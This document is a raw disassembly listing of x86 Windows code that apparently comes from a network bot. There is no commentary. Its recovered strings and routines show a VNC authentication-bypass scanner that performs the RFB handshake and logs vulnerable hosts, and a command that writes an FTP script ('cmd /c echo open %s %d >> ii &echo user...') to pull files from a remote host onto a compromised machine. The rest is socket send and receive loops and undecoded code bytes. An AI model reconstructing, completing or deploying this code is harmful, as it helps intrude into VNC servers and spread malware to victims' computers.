push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41BD10
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 27309E0h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40E7CD: ; CODE XREF: ___:0040E857j
cmp dword ptr [ebp-0Ch], 2
jge loc_40E862
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40E296
add esp, 2Ch
test al, al
jz short loc_40E85F
cmp [ebp-4Ch], ebx
jz short loc_40E851
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2710000h
test eax, eax
jnz short loc_40E838
nop
call near ptr 2680DCDh
cmp eax, 3E5h
jnz loc_40E439
loc_40E838: ; CODE XREF: ___:0040E825j
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 2690830h
cmp eax, 102h
jnz short loc_40E851
mov byte ptr [ebp+0Bh], 1
loc_40E851: ; CODE XREF: ___:0040E804j
; ___:0040E84Bj
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40E7CD
jmp short loc_40E862
; ---------------------------------------------------------------------------
loc_40E85F: ; CODE XREF: ___:0040E7FFj
mov esi, [ebp-8]
loc_40E862: ; CODE XREF: ___:0040E7D1j
; ___:0040E85Dj
push dword ptr [ebp-4]
mov edi, dword_427078
call edi
push esi
call sub_41BA31
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40E87E
push dword ptr [ebp-4Ch]
call edi
loc_40E87E: ; CODE XREF: ___:0040E877j
cmp [ebp+0Bh], bl
setnz al
loc_40E884: ; CODE XREF: ___:0040E43Bj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 6Dh ; m
db 0D4h ; Ô
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 0E8h ; è
db 43h ; C
db 2Ah ; *
db 6Ah ; j
db 71h ; q
db 90h ;
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 0E8h ; è
db 82h ; ‚
db 2Eh ; .
db 6Ah ; j
db 71h ; q
db 90h ;
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 4Eh ; N
db 53h ; S
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 75h ; u
db 55h ; U
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 14h
db 72h ; r
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 8
db 91h ; ‘
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 40h ; @
db 90h ;
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0E1h ; á
db 0C0h ; À
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 20h
db 2Ch ; ,
db 43h ; C
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 0CFh ; Ï
db 0D7h ; ×
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 1Eh
db 0D0h ; Ð
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 0A2h ; ¢
db 31h ; 1
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 90h ;
db 0E8h ; è
db 0FEh ; þ
db 30h ; 0
db 6Ah ; j
db 71h ; q
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
db 53h
dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h
dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh
dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh
dd 7D0h, 1B5DE890h, 83430227h, 0B87202FBh, 5F58016Ah
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9CB proc near ; CODE XREF: sub_40EAB9+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
call near ptr 71AB1746h
nop
push esi
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40EA99
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40EA99
mov edi, 400h
push esi
mov esi, dword_427214
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4C9040
push [ebp+arg_0]
call sub_40A9FA
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41C100
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40EA9D
loc_40EA99: ; CODE XREF: sub_40E9CB+50j
; sub_40E9CB+62j
xor eax, eax
jmp short loc_40EAB4
; ---------------------------------------------------------------------------
loc_40EA9D: ; CODE XREF: sub_40E9CB+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40EAB4: ; CODE XREF: sub_40E9CB+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E9CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAB9 proc near ; CODE XREF: sub_40C3D3+1E6p
; DATA XREF: ___:off_43180Co
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4C9344
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4C9304
push 6
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40EB2B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40EB0C
push esi
jmp short loc_40EB25
; ---------------------------------------------------------------------------
loc_40EB0C: ; CODE XREF: sub_40EAB9+4Ej
push 0
push 1213h
push offset dword_432C94
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40EB2F
loc_40EB25: ; CODE XREF: sub_40EAB9+51j
nop
call near ptr 71AB1A6Dh
loc_40EB2B: ; CODE XREF: sub_40EAB9+3Cj
xor eax, eax
jmp short loc_40EB71
; ---------------------------------------------------------------------------
loc_40EB2F: ; CODE XREF: sub_40EAB9+6Aj
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E9CB
add esp, 0C0h
test eax, eax
jz short loc_40EB6E
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431810[eax]
lea eax, dword_431810[eax]
loc_40EB6E: ; CODE XREF: sub_40EAB9+9Ej
push 1
pop eax
loc_40EB71: ; CODE XREF: sub_40EAB9+74j
pop edi
pop esi
leave
retn
sub_40EAB9 endp
; =============== S U B R O U T I N E =======================================
sub_40EB75 proc near ; CODE XREF: ___:0040EC63p
; ___:0040ECC5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40EB7D: ; CODE XREF: sub_40EB75+2Dj
test edi, edi
jle short loc_40EBA8
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4C931C
test eax, eax
jz short loc_40EBA4
cmp eax, 0FFFFFFFFh
jz short loc_40EBA4
sub edi, eax
add esi, eax
jmp short loc_40EB7D
; ---------------------------------------------------------------------------
loc_40EBA4: ; CODE XREF: sub_40EB75+22j
; sub_40EB75+27j
xor eax, eax
jmp short loc_40EBAB
; ---------------------------------------------------------------------------
loc_40EBA8: ; CODE XREF: sub_40EB75+Aj
push 1
pop eax
loc_40EBAB: ; CODE XREF: sub_40EB75+31j
pop edi
pop esi
retn
sub_40EB75 endp
; =============== S U B R O U T I N E =======================================
sub_40EBAE proc near ; CODE XREF: ___:0040ECAFp
; ___:0040ECDCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40EBEB
xor esi, esi
test edi, edi
jle short loc_40EBE5
loc_40EBBE: ; CODE XREF: sub_40EBAE+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jz short loc_40EBEB
test eax, eax
jz short loc_40EBEB
add esi, eax
cmp esi, edi
jl short loc_40EBBE
loc_40EBE5: ; CODE XREF: sub_40EBAE+Ej
push 1
pop eax
loc_40EBE8: ; CODE XREF: sub_40EBAE+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40EBEB: ; CODE XREF: sub_40EBAE+8j
; sub_40EBAE+2Bj ...
xor eax, eax
jmp short loc_40EBE8
sub_40EBAE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433ED8
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4C9384
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40EC1D
push eax
jmp short loc_40EC51
; ---------------------------------------------------------------------------
loc_40EC1D: ; CODE XREF: ___:0040EC18j
lea eax, [ebp+0Ch]
push eax
call dword_4C9344
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4C9304
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jnz short loc_40EC5C
push ebx
loc_40EC51: ; CODE XREF: ___:0040EC1Bj
call dword_4C939C
jmp loc_40EE57
; ---------------------------------------------------------------------------
loc_40EC5C: ; CODE XREF: ___:0040EC4Ej
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EB75
add esp, 0Ch
test eax, eax
jz loc_40EE50
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41CA73
add esp, 10h
cmp eax, esi
jnz loc_40EE50
cmp dword ptr [ebp-28h], 3
jz short loc_40ECA8
cmp dword ptr [ebp-20h], 8
jnz loc_40EE50
loc_40ECA8: ; CODE XREF: ___:0040EC9Cj
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40EBAE
add esp, 0Ch
test eax, eax
jz loc_40EE50
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40EB75
add esp, 0Ch
test eax, eax
jz loc_40EE50
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40EBAE
add esp, 0Ch
test eax, eax
jz loc_40EE50
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40EB75
add esp, 0Ch
test eax, eax
jz loc_40EE50
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40EE50
push 1
push offset word_4C91BC
push ebx
call sub_40EBAE
add esp, 0Ch
test eax, eax
jz loc_40EE50
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40EB75
add esp, 0Ch
test eax, eax
jz loc_40EE50
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41D735
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40EDE0
push edi
push esi
push ebx
call sub_40EB75
add esp, 0Ch
loc_40EDE0: ; CODE XREF: ___:0040EDD3j
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41C100
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409862
lea eax, [ebp-24Ch]
push eax
call sub_415CEE
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431810[eax]
push ebx
lea eax, dword_431810[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40EE59
; ---------------------------------------------------------------------------
loc_40EE50: ; CODE XREF: ___:0040EC6Dj
; ___:0040EC92j ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40EE57: ; CODE XREF: ___:0040EC57j
xor eax, eax
loc_40EE59: ; CODE XREF: ___:0040EE4Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EE67: ; CODE XREF: ___:0040EE83j
; ___:0040EE9Fj
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CC048
call dword_4C931C
test eax, eax
jle short loc_40EE67
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CC044
nop
call near ptr 2720000h
jmp short loc_40EE67
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40EEAA: ; CODE XREF: ___:0040EED0j
; ___:0040EEEAj
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CC038
call near ptr 2710000h
nop
cmp dword ptr [ebp-4], 0
jle short loc_40EEAA
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CC048
call dword_4C9354
jmp short loc_40EEAA
; ---------------------------------------------------------------------------
dword_40EEEC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh
; DATA XREF: sub_401AC7+2CDAo
dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh
dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh
dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh, 4C933015h
dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h
dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h
dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h
dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CC03Ch
dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh
dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h
dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
dd 7D896600h, 0A5E890B4h, 50023315h, 0C03C35FFh, 99E8004Ch
dd 90023315h, 0FDE89050h, 8D02330Fh, 8D50D845h, 57508445h
dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h
dd 96E85700h, 90022513h, 50E8458Dh, 0A1685757h, 8D0040EEh
dd 5057F445h, 271588E8h, 45899002h, 0E8458DECh, 68575750h
dd 40EE5Eh, 57F4458Dh, 6EE89050h, 6A022715h, 0F04589FFh
dd 90D875FFh, 2817CBE8h, 75FF5702h, 1752E8F0h, 57900229h
dd 90EC75FFh, 291747E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh
dd 90D875FFh, 321CA9E8h, 4035FF02h, 0FF004CC0h, 4435FFD6h
dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h
dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
dd 0FFFE6800h, 680000h, 0E8000004h, 9AB2h, 0C050A359h
dd 0C359004Ch
dword_40F0D8 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh
; DATA XREF: sub_40BD7C+34Do
dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
dd 5E85053h, 830000CCh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h
dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h
dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh
dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 81E89053h
dd 8B022E0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h
dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch, 400BBh
dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h
dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h
dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh
dd 5959FFFFh, 1E89056h, 68022E0Eh, 0FFFEh, 9978E853h, 0A3590000h
dd 4CC050h, 45896659h, 0EC458DEEh, 5750106Ah, 933015FFh
dd 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h, 3D2775E4h
dd 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh, 60858D50h
dd 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh, 83FFFFA6h, 858D14C4h
dd 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h, 0FFC458E8h
dd 565959FFh, 0D86E890h, 56A022Eh, 2C15FF57h, 3B004C93h
dd 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h, 8D004291h
dd 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h, 0FFF88300h
dd 74084589h, 0E47D83E6h, 6A217500h, 40858D00h, 0FFFFFFFDh
dd 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFA58DE8h
dd 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah, 40858D59h
dd 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h, 4C931Ch
dd 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h, 0E8FFFFFFh
dd 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h, 0E85053FFh
dd 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh, 0C627E8h
dd 8D505900h, 0FFF94085h, 75FF50FFh, 5415FF08h, 83004C93h
dd 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch, 57FFFFFFh
dd 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h, 6A59FFh
dd 0C86E890h
db 2Eh, 2
word_40F37A dw 8B55h ; DATA XREF: sub_40BD7C+22Ao
dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh
dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h
dd 0B589FFFFh, 0FFFFFBC4h, 6A4E11E8h, 53569071h, 0E890026Ah
dd 716A484Eh, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah
dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 0E8578004h, 716A214Eh
dd 40A16690h, 83004C90h, 5000C865h, 0C445C766h, 15FF0002h
dd 4C9304h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A99E8h
dd 7DC08571h, 0E9C38B07h, 545h, 90570A6Ah, 6A6999E8h, 0D49D8971h
dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh
dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A240BE8h, 0F8839071h
dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h, 0FF50858Dh
dd 5056FFFFh, 0C857E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh
dd 1716DE8h, 0FC08500h, 49F84h, 0F87D3B00h, 458D7A75h
dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh, 6A919CE8h
dd 0FFF88371h, 476840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
dd 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h, 6AFFFFFDh
dd 90575064h, 6A612FE8h, 7FC08571h, 0D4958B52h, 33FFFFFDh
dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h, 3B04C083h
dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
dd 57FFFFFDh, 6A24BCE8h, 0B9E99071h, 8D000003h, 0FFFCC885h
dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh, 43419Ch
dd 0D49DE850h, 858D0000h, 0FFFFFF50h, 43419468h, 0F9E85000h
dd 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h, 82E90043h
dd 8D000000h, 0FFFF5085h, 417468FFh, 0E8500043h, 0D1D4h
dd 59C08559h, 6A560A75h, 415C6814h, 61EB0043h, 0FF50858Dh
dd 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h, 560A7559h
dd 44680D6Ah, 0EB004341h, 50858D40h, 68FFFFFFh, 43413Ch
dd 0D192E850h, 85590000h, 0A7559C0h, 68106A56h, 434128h
dd 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h, 590000D1h
dd 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h, 0BF000002h
dd 4340FCh, 0FF50858Dh, 5057FFFFh, 0D14BE8h, 0C0855900h
dd 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h, 0D134h
dd 59C08559h, 6A560D75h, 40E46813h, 97E90043h, 8D000002h
dd 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h, 858D2475h
dd 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h, 7559C085h
dd 136A560Dh, 4340CC68h, 260E900h, 858D0000h, 0FFFFFF50h
dd 4340C468h, 0D9E85000h, 590000D0h, 7559C085h, 0BE0A6A34h
dd 434098h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
dd 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h, 875FF50h
dd 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh, 434090h, 0D08EE850h
dd 85590000h, 2A7559C0h, 78BE056Ah, 59004340h, 0FF38BD8Dh
dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C1E8h
dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43407068h
dd 4DE85000h, 590000D0h, 0F59C085h, 0B385h, 2C858D00h
dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h, 8D50E445h
dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 404868FFh, 0E8500043h
dd 0D2A7h, 0FF04858Dh, 0E850FFFFh, 0C721h, 858DF88Bh, 0FFFFFD2Ch
dd 0C713E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
dd 0C518h, 8DF475FFh, 0FFFF0485h, 406857FFh, 50004340h
dd 0C7F9E8h, 44C48300h, 0FF04858Dh, 106AFFFFh, 0FE85056h
dd 890000CDh, 458DF445h, 458D50ECh, 458D50E4h, 458D50DCh
dd 458D50D4h, 403468B4h, 0E8500043h, 0C7C6h, 5624C483h
dd 14681D6Ah, 0E9004340h, 106h, 0FF50858Dh, 0C68FFFFh
dd 50004340h, 0CF7FE8h, 0C0855900h, 0CC850F59h, 56000000h
dd 0E068286Ah, 0FF00433Fh, 0D3FF0875h, 8DF475FFh, 0E850B445h
dd 108h, 1F88359h, 9E850F59h, 39000000h, 0FFFBBCB5h, 562375FFh
dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh
